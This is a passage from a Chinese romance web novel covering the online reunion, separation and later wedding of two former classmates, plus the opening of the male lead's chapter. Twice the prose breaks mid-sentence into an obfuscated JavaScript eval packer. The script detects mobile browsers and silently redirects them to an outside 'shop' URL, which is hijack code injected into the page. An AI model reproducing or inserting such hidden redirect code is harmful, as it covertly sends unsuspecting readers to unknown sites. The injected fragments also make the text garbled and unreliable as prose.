如果当时她多问一句,如果她没有被骄傲和失望裹挟,如果她愿意再相信他一次,结局会不会不一样? 食堂里人声鼎沸,热气氤氲,沈青水却味同嚼蜡。 她扒了几口饭,突然放下筷子,拿出骆饶送的手机,手指悬在屏幕上半天,终究还是拨通了那个只存过一次、却烂熟于心的号码——是沈望川。 “哥,”她的声音带着不易察觉的颤抖,“你能不能帮我找一下魏之言的联系方式?” 电话那头的沈砚愣了一下,随即了然地叹了口气:“你要他的干嘛?人家还在读高中,你上大学了打扰人家学习。” “你管我!” 沈望川终究拗不过她,挂电话前扔来一句“别耽误人家”,随后将一串□□号发了过来。 回到宿舍时,窗外的雪还没停,室友们在讨论假期旅行计划,叽叽喳喳的笑声衬得她格外安静。 她坐在书桌前,打开笔记本电脑,屏幕的光映在她苍白的脸上。 鼠标悬停在□□添加好友的按钮上,她犹豫了半小时,才输入那串号码,验证消息删了又改,最后敲了一句话:“我是漓中高二的学生,之前参加过集训的,想认识一下你。” 发送成功的提示弹出时,她心脏猛地一跳,迅速合上电脑,仿佛做了什么亏心事。 直到室友提醒她该洗漱了,她才磨磨蹭蹭地起身,目光却总忍不住往电脑屏幕上瞟。 夜里躺在床上,她翻来覆去睡不着,雪光透过窗帘缝隙照进来,在墙上投下斑驳的影子。 自己还是没胆子面对他。 13. 青青子衿 “这大风一阵一阵吹过,嘲笑我的脆弱。” ——《大风》 验证消息发送后的第三天,沈青水才收到通过好友的提示。 对方的昵称是“言”,头像是一片空白,简单得像他本人。 她攥着鼠标的手指微微发紧,犹豫了半天,才发过去一句无关痛痒的问候:“你好。” 那边回复得很快,只有一个字:“你好。” 沈青水盯着屏幕,脑子一片空白,不知道该接什么话。 她怕多说一句就暴露身份,怕他知道是自己后,连这仅有的“网友”关系都维系不住。 倒是对方先打破了沉默:“看你资料是清华的?” “嗯,数学系。”她快速回复,指尖有些发凉。 “挺厉害的。”依旧是简洁的夸赞,像极了当年在漓中时,他说“你发言很厉害”时的语气。 沈青水的心轻轻一颤,鬼使神差地问:“你明年打算考哪所学校?” “还没定,先努力吧。” 接下来的日子,两人渐渐熟络起来。 他们从不聊题目,也不聊各自的生活,话题总是很空泛——聊天气,聊最近看的电影,聊喜欢的歌手,聊对未来的模糊憧憬。 沈青水发现,褪去“学霸”和“温柔”的标签,屏幕那头的魏之言,似乎总带着一丝挥之不去的疲惫。 他会说上课总犯困,会吐槽食堂的饭菜一成不变,偶尔还会提起夜晚很难熬。 这些细碎的抱怨,他从未在漓中那个阳光明媚的少年身上展现过。 沈青水看着屏幕上的文字,心里满是疑惑,却不敢多问,只能以一个陌生网友的身份,笨拙地安慰他。 他说夜晚难熬,她就分享自己在清华园里拍到的星空;他说上课犯困,她就讲实验室里的趣事,努力逗他开心。 魏之言似乎也很享受这种陌生的陪伴。 他会主动分享漓乡的变化,说青水街的老槐树又发了新芽,说一中门口的小卖部换了老板,说最近下了一场大雨,让他想起了某个雨天的巷口。 沈青水看到“雨天”“巷口”这两个词时,心脏猛地一缩。她知道,他说的是那天,是他们决裂的那天。 她忍不住问:“你是不是有什么遗憾的事?” 那边沉默了很久,久到沈青水以为他不会回答,屏幕上才跳出一行字:“有。曾经答应过别人一件事,没能做到。” “是很重要的人吗?” “不知道。” 沈青水的眼眶瞬间红了。 她盯着那三个字,指尖在键盘上敲了又删,最后只打出:“为什么?” “算了,”他回复,“都过去了,她现在过得很好,没必要再去打扰。” “你怎么知道她过得很好?”沈青水追问。 “听说她去了清华,那是她一直想去的地方。” 开始她来清华是因为他啊…… 沈青水的心里五味杂陈,有欣喜,有委屈,更多的是深深的无力。 他们明明就在彼此的世界边缘徘徊,却始终隔着无法跨越的距离。 寒假来临,沈青水最终还是没有回漓乡。 骆饶约她去哈尔滨看冰雕,她婉拒了,一个人留在了空旷的宿舍。 除夕夜,窗外烟花绚烂,手机里满是祝福信息。沈青水坐在电脑前,看着“言”的头像,犹豫了很久,发过去一句:“新年快乐。” 几乎是秒回:“新年快乐。” “今天吃饺子了吗?”她问。 “在外面,吃的饺子味道一般。” “我煮了速冻饺子,也不好吃。”沈青水扯了扯嘴角,打字道。 “以后有机会,给你做我妈包的韭菜鸡蛋馅饺子,她包的特别好吃。” 沈青水的眼泪瞬间掉了下来,她可没有机会吃到这份饺子。 她趴在桌子上,哭了很久,哭自己因为性格错过了太多。 窗外的烟花还在绽放,绚烂而短暂,像他们曾经的相遇和错过。 哭够了,她擦干眼泪,打开对话框,敲下一行字:“魏之言,我是沈青水。” 发送成功的瞬间,她关掉电脑,蜷缩在椅子上,心脏狂跳不止。 她不知道等待她的会是什么,是他的原谅,还是更深的疏离。 时间一分一秒地过去,电脑屏幕始终漆黑一片。 沈青水的心情从期待慢慢变成了失落,最后只剩下绝望。 就在她以为他不会回复的时候,手机突然震动了一下。 是□□消息提示音。 她颤抖着拿起手机,屏幕上赫然是魏之言的回复,只有短短一句话:“我知道是你。从你发第一条消息开始,我就知道。” “嘭!”宿舍又跳闸了,沈青水从睡梦中惊醒,她发现自己趴在桌子上睡着了,电脑上还亮着跟魏之言的聊天框。 她跟魏之言互祝了新年快乐,但是她还是没有勇气坦白自己就是沈青水。 她盯着电脑屏幕上那句“新年快乐”的对话记录,长长地舒了口气,刚才的坦白与回复不过是一场过于真实的梦。 窗外的烟花早已散去,天微微泛起鱼肚白,宿舍里静得能听见自己的呼吸声。 她抬手揉了揉酸涩的眼睛,指尖触到眼角的湿润,才发现不知何时,眼泪已经浸湿了脸颊。 那场梦太真实了,真实到她几乎以为,所有的误会都能在一句“我知道是你”中化解。 可现实是,她依旧没有勇气坦白身份,依旧只能以一个陌生网友的身份,远远地看着他的生活。 沈青水关掉聊天框,却没有合上电脑。 她点开魏之言的□□空间,里面空荡荡的,没有一条动态,像他空白的头像一样,透着一股疏离感,她知道他不是喜欢分享生活的人。 不知过了多久,手机震动了一下,是魏之言发来的消息:“早。” 沈青水的心脏又是一跳,快速回复:“早。” “昨晚睡得好吗?”他问。 “还好,你呢?” “凌晨才到家,眯了一会儿。” 看着屏幕上的文字,沈青水的心里满是不解。 他为什么总是这么疲惫?为什么深夜才回家?无数个疑问在她心头盘旋,却终究没敢问出口。 她想象着他拖着疲惫的身影回到家,连好好睡一觉都成了奢望,心里的怨气淡了几分,多了些许说不清道不明的牵挂。 日子在指尖悄然溜走,沈青水依旧以陌生网友的身份,与魏之言保持着不远不近的联系。 她看着他的消息,时而欣喜,时而失落。 未曾说出口的坦白,像一根细密的刺,扎在心底,隐隐作痛。 开春后,北京的天气渐渐回暖,清华园里的桃花开得绚烂。 沈青水的生活依旧忙碌,只是每次打开聊天框,看到魏之言偶尔提起的“学业压力”,心里就会宽慰一分。 她发现,他提到上课的次数越来越少,更多的是说“在外面奔波”“有点累”。 她不敢深究,怕触碰到不该碰的秘密,更怕这份仅有的联系,也会因此断裂。 转眼到了第二年的下半学期。 一次深夜,她做完实验回到宿舍,看着窗外的月光,鬼使神差地问了一句:“你有喜欢的人吗?” 消息发送出去,沈青水的心脏怦怦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686449|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直跳,她盯着屏幕,紧张得手心冒汗。 过了很久,魏之言才回复:“有过。” 沈青水的心猛地一沉,指尖微微发凉:“是……什么样的人?” “挺特别的,”他回复,“跟我隔了两级。” 隔了两级? 沈青水愣住了。 她比魏之言高一届,他喜欢的人要么大二,要么高一。 一股莫名的失落涌上心头,她想起当年在漓中,那些关于他和其他女生的传言,想起那个抢走他冰淇淋的女生,想起贾欣欣挽着他胳膊的画面。 其实他心里的人,从来都不是她。 她自嘲地笑了笑,指尖在键盘上敲下:“挺好的,祝你幸福。” “谢谢。”他回复得很简洁,没有多余的解释。 那晚,沈青水一夜未眠。 她看着两人的聊天记录,从最初的生疏,到后来的熟络,再到此刻,心里像被掏空了一样。 她以为,他们之间只是误会,只要她鼓起勇气坦白,一切都能回到原点。 可现在看来,不过是她一厢情愿的执念。 几天后,沈青水做出了一个决定——出国留学。 这个想法并非一时兴起。 早在学期初,导师就曾推荐她跟骆饶去国外交流学习,只是当时她心里还存着一丝期待,希望能等到魏之言考来北京,希望能有机会解开误会。 可现在,那份期待彻底破灭了。 她提交了申请材料,动作迅速得连骆饶都感到意外。 “你怎么突然想通了?之前怎么劝你都不听。”骆饶看着她收拾行李,满脸疑惑,“之前不是说要留在国内读研吗?” “想出去看看,换个环境。”沈青水淡淡地说,语气里听不出太多情绪。 只有她自己知道,她是在逃避。 逃避那个未说出口的坦白,逃避那份无疾而终的喜欢,逃避这个充满了回忆,却再也没有期待的地方。 申请很顺利,他们拿到了国外一所知名大学的录取通知书。 离开北京的前一天,她犹豫了很久,还是打开了与魏之言的聊天框。 “我要出国了。”她敲下这句话。 “是吗?”他回复得很快,“去哪所学校?” “XX大学,读数学专业。” “挺厉害的,恭喜。”依旧是熟悉的夸赞,却让沈青水心里泛起一阵酸涩。 “谢谢。”她打出这两个字,犹豫了一下,又补充道,“以后可能不会经常上线了。” 那边沉默了很久,才发来一句:“一路顺风。照顾好自己。” 没有不舍的挽留,没有多余的问候,只有一句简单的祝福。 沈青水盯着屏幕,眼泪终于忍不住掉了下来。 她知道,这一次,他们是真的要彻底错过了。 她没有回复,直接关掉了聊天框,删掉了那个烂熟于心的□□号。 她怕自己再多看一眼,就会忍不住反悔,忍不住说出真相。 离开北京的那天,天空下着小雨,像极了当年漓乡那个决裂的雨天。 沈青水坐在飞机上,看着窗外的云层渐渐远去,心里的某个角落,终于彻底空了下来。 飞机穿越云层,飞向遥远的异国他乡。 沈青水望着窗外,心里默默念着:“魏之言,再见了。祝你,也祝我,各自安好。” 因为误会和沉默造成的分离,终会成为两人生命中,最刻骨铭心的遗憾。 隔岸的烟火再美,终究只能远远观望,无法触及。 他们的故事,就像一场未完待续的电影,在最遗憾的时刻,按下了暂停键。 14. 青青子衿·完 “给我一个理由忘记那么爱我的你。” ——《给我一个理由忘记》 “后来呢?”艾米丽问道。 沈青水摇摇头:“不知道啊,没有后续,连他是死是活都不知道。” 艾米丽托着腮,眼里满是惋惜:“就这么断了联系?连一句解释都没说,太可惜了。” 沈青水端起面前的咖啡,指尖触到微凉的杯壁,思绪又飘回了许多年前。 她在国外待了八年,从硕士读到博士,再到留校任教,日子过得平静无波,却总在某个不经意的瞬间,被记忆里那个叫“言”的头像刺痛。 她试过重新加回那个□□号,却发现对方早已注销。 她托漓中的老同学打听魏之言的消息,有人说他当年没参加高考,有人说他去了南方打工,还有人说他家里出了变故,早就断了联系。 众说纷纭,没有一个确切的答案。 反正他过的很不好就是了。 咖啡的热气在沈青水眼前氤氲开,模糊了窗外多伦多的街景。 她轻轻抿了一口,苦涩的味道顺着舌尖蔓延,像极了这些年压在心底的遗憾。 “其实前两年疫情最严重的时候,我总想起他,”沈青水的声音很轻,带着一丝不易察觉的怅然,“那时候国内形势紧张,漓乡又是小城,医疗资源有限,我每天刷新闻都提心吊胆,怕他出事。” 艾米丽叹了口气:“你还是没放下。” 沈青水没有否认。 这几年,她刻意让自己忙碌起来,泡在实验室和图书馆里,用学术成绩填补心里的空缺。 她拿到了终身教职,发表了数篇顶刊论文,成了同事眼中年轻有为的学者。 可只有她自己知道,午夜梦回时,那个空白头像和简短昵称,依旧会清晰地浮现在脑海里。 她无数次想过,如果当年她没有逃避,如果她鼓起勇气坦白身份,如果她没有删掉那个□□号,结局会不会不一样? 可生活没有如果,那些未说出口的话,那些深埋心底的误会,终究成了跨不过去的鸿沟。 2021年秋,全球疫情形势趋于平稳,国际航班逐渐恢复。 沈青水递交了Sabbatical(学术休假)申请,决定回国看看。 这个决定让她自己都有些意外,或许是年纪渐长,或许是漂泊太久,她忽然想回到那个承载了青春记忆的地方,看看熟悉的风景,也试着和过去和解。 飞机降落在北京首都国际机场时,天空飘着细雨。 沈青水拖着行李箱走出航站楼,一眼就看到了人群中挥手的哥哥沈望川。 “青青,欢迎回家!”沈望川快步走上前,接过她的行李箱,笑容依旧是记忆里的温和,“这几年可把你盼回来了。” 沈青水笑了笑,眼眶有些发热:“哥,我回来了。” 沈望川早已不是当年那个青涩的少年,他成了一名建筑师,沉稳干练,眉宇间多了几分成熟稳重。 他开车带着沈青水回了家,一路上絮絮叨叨地说着家里的变化。 回到家的日子平静而惬意。 沈望川怕她闷,时常带她出去散心,约着老同学聚会。 席间,有人偶尔提起魏之言,语气里满是唏嘘,说他当年高考前突然失踪,后来听说家里出了大事,具体是什么事,却没人说得清。 沈青水听着,心里像被什么东西揪了一下,密密麻麻地疼。 她终究还是没忍住,私下里问了当年和魏之言关系不错的男生,对方犹豫了半天,才说: “之言当年是因为他妈妈突发脑溢血,急需手术费,他爸又常年在外打工联系不上,走投无路之下只能辍学去南方打工凑钱。后来他妈妈病情总算稳定了,可错过的高考再也补不回来,他就一边学习一边打工,报考了医学院的临床医学专业,他说要靠这双手救更多人。” “听说他读书时拼得厉害,别人泡在宿舍玩游戏,他要么在图书馆啃专业书,要么泡在医院见习,硬生生凭着一股韧劲从医学院毕业,还考上了执业医师证。后来回了本地医院,从住院医师一步步做到主治,去年疫情更是冲在最前面,跟着医疗队支援过好几个高风险地区。” “我们这些老同学偶尔碰到,都佩服他这份毅力。当年漓中最有希望冲清北的苗子,虽没走上学术路,却在另一条赛道上活得格外耀眼。” 沈青水愣住了。 她从没想过,当年那个意气风发的学霸,会遭遇这样的变故。 难怪他当年在□□上总说疲惫,总说夜晚难熬,原来他背负了这么多。 而她,却只以为是少年不识愁滋味的抱怨,甚至还因为他一句“有过喜欢的人”,就赌气远走他乡。 心里的愧疚和心疼交织在一起,让她彻夜难眠。 回国后的第三个月,沈望川拿着一张红色的请柬,递给沈青水:“下周六有个朋友的婚礼,一起去凑个热闹?都是认识的人,你也多交个朋友。” 沈青水本想拒绝,她向来不喜欢热闹的场合。 可沈望川执意劝她:“你总不能一直宅在家里,出去走走,说不定能遇到聊得来的人。” 架不住哥哥的软磨硬泡,沈青水终究还是点了点头。 婚礼当天,天气格外晴朗。 沈青水穿着一条深蓝色的连衣裙,跟着沈望川来到了酒店宴会厅。 厅内布置得温馨浪漫,宾客满堂,到处都是欢声笑语。 她找了个角落的位置坐下,望着台上心里泛起一丝淡淡的羡慕。 沈望川被朋友拉去敬酒,留她一个人在座位上,百无聊赖地看着窗外。 就在这时,宴会厅入口处传来一阵骚动。 沈青水下意识地看过去,目光触及那个熟悉又陌生的身影时,整个人瞬间僵住了。 男人穿着一身笔挺的白色西装,身形清瘦,却挺拔有力。 他的五官依旧俊朗,只是褪去了少年时的青涩,多了几分成熟内敛。 眼角有了淡淡的细纹,眼神深邃,带着历经世事的沉稳。 是魏之言。 沈青水的心脏猛地一缩,呼吸都变得急促起来。 她几乎是本能地想低下头,躲开他的视线,可脚步却像灌了铅一样,动弹不得。 他怎么会在这里? 就在她愣神的瞬间,魏之言身边的伴娘扶着一位穿着洁白婚纱的女子走了进来。 新娘眉眼温柔,笑容温婉,看向魏之言的眼神里满是爱意。 沈青水这才反应过来——今天的新郎,是魏之言。 原来哥哥说的“朋友的婚礼”,竟然是他的婚礼。 巨大的冲击让她有些晕眩,指尖冰凉,浑身的血液仿佛都凝固了。 她看着魏之言小心翼翼地扶着新娘,动作温柔,眼神专注,那种温柔,是她从未见过的。 婚礼仪式正式开始。 当主持人问魏之言“是否愿意娶眼前的女子为妻,无论贫穷富贵、健康疾病,都不离不弃”时,沈青水看到他毫不犹豫地回答:“我愿意。” 他的声音低沉而坚定,透过麦克风传遍整个宴会厅,也重重地砸在沈青水的心上。 她看着他们交换戒指,看着他们相拥亲吻,看着台下宾客送上祝福的掌声,心里像被掏空了一样,空荡荡的,却又带着尖锐的疼痛。 原来,他早已放下了过去,早已开始了新的生活。 而她,却还停留在原地,抱着那些陈旧的记忆,耿耿于怀了这么多年。 仪式结束后,宾客们纷纷起身向新人道贺。沈望川走了过来,看到沈青水苍白的脸色,有些担忧:“小水,你怎么了?不舒服吗?” 沈青水摇摇头,勉强挤出一个笑容:“没事,可能有点累。” “那我带你去跟新人打个招呼,”沈望川没多想,拉着她就往魏之言那边走,“新郎是我大学同学,人特别好,他爱人也是个很温柔的姑娘。” 沈青水想挣脱,可沈望川的手很有力,她只能被动地跟着往前走。 越来越近了,她能清晰地看到魏之言脸上的笑容,那是一种发自内心的幸福,驱散了他眉宇间常年萦绕的疲惫。 “之言,恭喜啊!”沈望川笑着拍了拍魏之言的肩膀。 魏之言转过身,看到沈望川时,脸上的笑容更甚:“学长,谢谢你能来。” 他的目光落在沈青水身上时,微微顿了一下,眼神里闪过一丝惊讶,随即恢复了平静,礼貌地点了点头:“这位是?” “这是我妹妹,沈青水,刚从国外回来。”沈望川介绍道。 “……” 场面一度安静。 “……沈青水?好久不见啊,我是魏之言。”魏之言伸出手,笑容温和,语气疏离,像是在对待一个陌生人。 沈青水的指尖微微颤抖,她抬起手,轻轻握住了他的手。 他的手很温暖,带着常年握手术刀留下的薄茧。 只是那温度,再也不像当年那样,能让她心跳加速。 “好久不见。”她的声音有些沙哑,几乎细不可闻。 “恭喜你。”她强迫自己镇定下来,说出了这句迟来的祝福。 “谢谢。”魏之言笑了笑,侧身拉过身边的新娘,“这是我爱人,苏菲。” 苏菲温柔地笑了笑,向沈青水伸出手:“你好,很高兴认识你。” “你好。”沈青水回握住她的手,看着眼前温婉可人的女子,心里忽然释然了。 这样温柔善良的姑娘,确实值得魏之言好好对待。 寒暄了几句后,沈青水便以身体不适为由,拉着沈望川离开了。 走到酒店门口,沈望川才察觉出不对劲:“小水,你跟之言以前是不是认识?我看他刚才看你的眼神,好像有点不一样。” 沈青水沉默了很久,才轻轻“嗯”了一声:“高中同学。” “难怪,”沈望川恍然大悟,“之言这几年挺不容易的。他没高考,后来成了一名医生。疫情最严重的时候,他主动申请去了方舱医院,在一线待了三个多月。他爱人苏菲是他的同事,当时跟他一起去的方舱,两个人就是那时候互相扶持,产生感情的。” 沈青水愣住了。 原来,他真的成了一名医护人员。 原来,他在疫情期间,一直在一线奋斗。 原来,他喜欢上了和他患难与共的同事。 那些她不知道的岁月里,他经历了这么多。 他放弃了高考,放弃了曾经的学术梦想,为了家人选择了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686450|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条更艰难的路。 他在抗疫一线冒着生命危险救人,在最艰难的时刻,遇到了能陪他共度余生的人。 沈青水抬头看了看天空,阳光刺眼,让她忍不住眯起了眼睛。 眼泪终于忍不住掉了下来,顺着脸颊滑落,滴在地上,很快就被阳光晒干。 这一次,不是难过,不是遗憾,而是一种彻底的释然。 她想起当年在□□上,他说“曾经答应过别人一件事,没能做到”。 或许,他答应的是陪她一起考去北京,一起走进清华园。只是命运弄人,他没能做到。 她想起他说“她现在过得很好,没必要再去打扰”。 原来,他一直有关注她的消息,知道她去了清华,知道她在国外过得很好。 所以他选择了沉默,选择了不打扰。 她想起自己当年的赌气和逃避,想起这些年的耿耿于怀,忽然觉得有些可笑。 他们之间,从来都不是谁的错,只是时机不对,命运弄人。 错过了就是错过了。 隔岸的烟火再美,终究只能远远观望,无法触及。 而现在,那片烟火已经找到了属于自己的归宿,她也该放下了。 其实也不过是执念,最后花落不到自己而已。 真的非常非常喜欢吗?也不见得。 但是真的非常非常遗憾,他从此刻在心底了。 年少时喜欢太过惊艳的人,总要花一辈子去忘记。 沈望川递给她一张纸巾,轻声说:“我后来才知道,你高中的时候,好像喜欢过之言。对不起啊,我不知道今天的新郎是他,早知道就不带你来了。” 沈青水接过纸巾,擦干眼泪,笑了笑:“没事,哥,都过去了。” 真的过去了。 她曾经以为,这辈子都无法放下这份遗憾。 可当她亲眼看到他幸福的模样,看到他找到了那个能陪他历经风雨的人,她忽然就明白了,喜欢一个人,不一定非要拥有。 看着他幸福,也是一种圆满。 离开酒店后,沈青水没有回家,而是让沈望川开车带她去了漓乡的老城区。 青水街的老槐树还在,枝繁叶茂,郁郁葱葱。 一中门口的小卖部换了新的招牌,里面依旧摆满了各种零食。 巷口的石板路被岁月磨得光滑,两旁的墙壁上爬满了青苔。 她站在巷口,仿佛看到了当年那个穿着校服的少年少女。 他站在巷口,对她笑,说“你其实很厉害”;她低着头,脸颊发烫,心里像揣了一只小鹿。 也看到了那个雨天,他转身离开的背影,决绝而仓促,让她的青春,从此蒙上了一层遗憾的阴影。 只是现在再想起这些画面,心里已经没有了当初的悸动和疼痛,只剩下淡淡的怀念。 沈青水在巷口站了很久,直到夕阳西下,才转身离开。 回到家后,她打开了尘封已久的电脑,在文件夹深处,找到了那个早已注销的□□号的截图。 空白的头像,简单的昵称“言”,还有那些简短的聊天记录,都承载着她整个青春的心事。 她没有删除,只是新建了一个文件夹,把这些截图放了进去,命名为“过往”。 过往种种,皆为序章。 她拿出手机,给艾米丽发了一条消息:“我见到他了,他结婚了,很幸福。” 很快,艾米丽回复:“那你呢?放下了吗?” 沈青水看着屏幕,笑了笑,打下一行字:“放下了。祝他幸福,也祝我自己。” 发送成功的那一刻,她感觉心里的那块石头终于落了地。 接下来的日子,沈青水开始认真规划自己的生活。 她接受了清华数学系的邀请,决定回国任教。 她想留在这座承载了她青春和梦想的城市,重新开始。 她不再刻意回避那些关于魏之言的记忆,也不再为当年的错过而耿耿于怀。 她开始学着享受生活,周末会去逛清华园,看那些熟悉的风景;会约着老同学聚会,听他们讲这些年的经历;会泡在实验室里,专注于自己的研究。 偶尔,她也会从沈望川口中听到魏之言的消息。 听说他和苏菲过得很幸福,听说他在医院里表现出色,成了科室的骨干,听说他们有了一个可爱的女儿。 每一次听到,沈青水都会真心地为他感到高兴。 又是一年春天,清华园里的桃花开得绚烂。 沈青水站在桃花树下,看着漫天飞舞的花瓣,脸上露出了释然的笑容。 或许,人生就是这样,总会有一些错过,一些遗憾。 但正是这些错过和遗憾,让我们学会了成长,学会了珍惜,学会了与自己和解。 隔岸的烟火再美,终究不属于自己。 而属于自己的风景,就在前方。 沈青水深吸一口气,空气中弥漫着桃花的清香。 她转身走向实验室,脚步坚定而从容。 她的故事,没有未完待续的遗憾,只有重新开始的希望。 那些年的沉默与错过,都成了过往云烟。 而未来,终将一片光明。 ——全文完 15. 悠悠我心·男主 “怎么先炽热的却先变冷了,慢热的却停不了,还在沸腾着。” “慢冷的人啊,会自我折磨。” “浪漫让你温柔,也让你最惹人泪流。” “他变心变得很快,说爱经不起等待。” ——《慢冷》 早就听说清水街有个成绩超好的大小姐不好惹,听说她霸道、暴力、自私,是个女流氓。 那年头的混混是什么人?持刀抢劫、劫财劫色不在少数,杀马特造型和红绿灯发色更是他们的基本操作。 这样的人跟成绩好有什么关系? 他不以为意,直到被那三个染着红绿灯发色的混混堵在清水街的死胡同里。 魏之言心里发怵却不肯服软,他学过的散打第一次要派上用场,可看着黄毛掏出的折叠刀,还是忍不住攥紧了拳头。 就在刀锋快要逼近时,一道清冷的声音突然传来:“你们太吵了。” 魏之言回头,只见一个短发女生站在逆光处,黑色宽松T恤塞在牛仔短裤里,细瘦的腰杆挺得笔直。 那三个刚才还凶神恶煞的混混,看见她竟瞬间怂了,黄毛讪讪地收起刀,嘴里嘟囔着“误会”,转眼就溜得没影。 他还愣在原地,女生已经走到车旁,弯腰捡起散落的习题册。 他看清她手腕上有块兔子形状的胎记,也听清了混混们喊的名字:沈青水。 他想起她弯腰捡书时,短发滑落遮住半张脸,露出的下颌线很清晰。 想起她看着甜美,说话时却哑哑的声音。 想起她转身时,T恤后颈处印着的、快要磨掉的字母,那好像是个乐队的名字。 她……以为这是见义勇为吧,像她这样的女生应该不知道那些人是多么的危险。 沈青水……很好听的名字,青水,跟她人一样单纯。 魏之言忍不住想。 三个小混混早就没影了,巷子里又恢复了刚才的安静,只有魏之言的心跳还在胸腔里擂鼓。 他低头看着怀里的习题册,封面上貌似还留着她指尖的凉意。 刚才那一幕像场快进的电影。 她出现,解决麻烦,离开,前后不过两分钟,却让他觉得整个闷热的午后都亮了。 九月的漓乡一中还浸在军训余温里,魏之言作为新生代表攥着发言稿,刚要往主席台走,就被一道身影撞了满怀。 蹲下身捡稿子时,他对上一双清亮的眼睛——是清水街巷子里救过他的沈青水。 她穿黑T恤配校裤,手腕上的兔子胎记依旧清晰,见了他,嘴角立刻漾开笑意。 得知她因没穿校服要被赶回宿舍,魏之言下意识脱下自己的外套递过去,报出宿舍地址时,耳尖悄悄发烫。 开学典礼上,他发言时目光不自觉往最左边第三排扫,果然看到她裹着自己的外套,正认真听着。 第二天中午,沈青水准时站在A栋楼下,怀里的外套叠得整整齐齐,还带着淡淡的玫瑰香。 他递上草莓硬糖,两人在树荫下聊到广播催课,分开时,她的指尖碰到他的手,快得像一阵风。 周测后,班主任宣布他和沈青水并列年级第一,魏之言心里莫名雀跃。 每次在走廊撞见她,看她假装没看见却悄悄瞟来的样子,他都忍不住想笑。 放假那天,魏之言特意买了两个粉色冰淇淋,想在门口等她。 魏之言正想跟她说话,却见她转身朝自己笑了笑,随即快步离开。 他还没反应过来,就看到几个染着杀马特发型的少年骑着自行车过来,沈青水坐上后座,和领头的男生说着话,语气带着无奈。 看着他们远去的背影,魏之言手里的冰淇淋慢慢融化。 他想起传闻里“青水街大小姐”的标签,想起她巷口救人的利落、递书时的温柔、并列第一的优秀,心里五味杂陈。 原来她的“不好惹”藏着柔软,可那辆载着她远去的混混自行车,又让他生出莫名的担忧—— 她的世界,比他想象的复杂得多,他竟有点怕,自己走不进她的生活里。 碰巧表妹余晓希找来漓中,他把另一个冰淇淋给了表妹。 魏之言到巷口店拿东西时,竟意外撞见了沈青水。 他问店老板东西走哪。 老板说:“在大小姐旁边。” “大小姐?” “哦哦你不知道,看到那个女孩子没有?她叫沈青水,是这一片的大小姐。” 其实他们之间有一道无法逾越的鸿沟的,他家境清寒,怎么配得上大小姐? 她扎着短发,嘴里叼着糖,正对着一盒巧克力蛋糕发呆,见了他,眼里先是闪过惊讶,随即漾开笑意。 得知她要搬母亲订的东西,他立刻主动提出帮忙,两人并肩走在傍晚的巷子里,风带着凉意,吹得她发梢轻晃。 他看出她眉宇间的低落,主动提起学习的事,教她背英语单词的方法。 聊到兴起时,他忍不住说出心底的期许:“沈青水,跟我一起去北京,考清华。” 他望着她,语气认真,“你数学那么好,未来一定很精彩。” 沈青水愣了愣,随即郑重点头,眼里亮得像盛了夕阳。 可没走多远,就听见沈青水母亲尖利的训斥声。 魏之言下意识将她往后拉,向阿姨解释是自己耽误了她,还提起她数学年级第一的事。 没想到阿姨却不以为意,反而让她多照顾弟弟。 他不动声色地拎起最重的袋子,帮着送到屋里,临走前,还特意安抚沈青水,说明早给她带英语单词书。 看起来,沈青水的母亲对她不好。 离开时,他回头望了一眼那间屋子,想起沈青水母亲对她的苛责,想起她接过酸奶时落寞的样子,心里泛起阵阵酸涩。 他没想到,看似“不好惹”的她,背后藏着这样的委屈。 回到家,魏之言满脑子都是沈青水点头说“好”的模样,还有她眼里对北京的向往。 他翻开单词本,忽然觉得“一起考清华”不再是单纯的目标,而是想带着她逃离困境的承诺。 他盼着能和她并肩站在清华园里,让她不用再受委屈,让她眼里的光永远明亮。 只是一想到她家里的情况,他又忍不住担忧,怕这份期许,终究难以实现。 深秋的漓乡一中透着寒意,魏之言总能在走廊瞥见沈青水的身影。 她要么抱着单词卡默念,要么往老师办公室跑,曾经张扬的短发被扎起,眼底满是追赶的韧劲。 他知道她英语偏科严重,却从没见过如此执拗的人,连吃饭时都在背单词,只为了那句“一起去北京”的约定。 9月28号生日那天,他在储物柜里发现一支崭新的钢笔,笔尖还带着淡淡的墨香,不用想就知道是她送的。 心里甜丝丝的,刷题时都忍不住频频侧目,却没敢主动提起,只在周测后悄悄在她的英语卷子上写下易错点批注。 可流言总像阴云般跟着她。 午休时,他听见女生们议论她“霸凌同学”“缠着自己”,他想说什么,转身班主任叫他把受伤的贾欣欣送回去。 他想拒绝,却被贾欣欣拉住,转头就瞥见不远处的沈青水,她的眼神瞬间黯淡,攥紧了拳头,转身就走。 后来听说沈青水跟贾欣欣决裂,学校里的谣言更甚,说她“脾气暴躁”。 魏之言心里又急又疼,他知道她不是那样的人,却不知该如何解释。 他想找她,可每次刚走到二班门口,又怕打扰她学习,更怕她还在介意那些流言。 后来培优班又遇见她,她喜欢发呆喜欢下五子棋。 他们做了同桌,可是自己竟有些害怕与沈青水相处。 于是每次课间他都会跑,跑去别的地方跟朋友打闹放松心情——其实就是逃离跟她单独相处。 后续11月,沈青水叫他送她回家,魏之言当然很愿意。 路上她倒着走,眼神亮晶晶的,他故意聊竞赛题、聊小河,掩饰心底的慌乱。 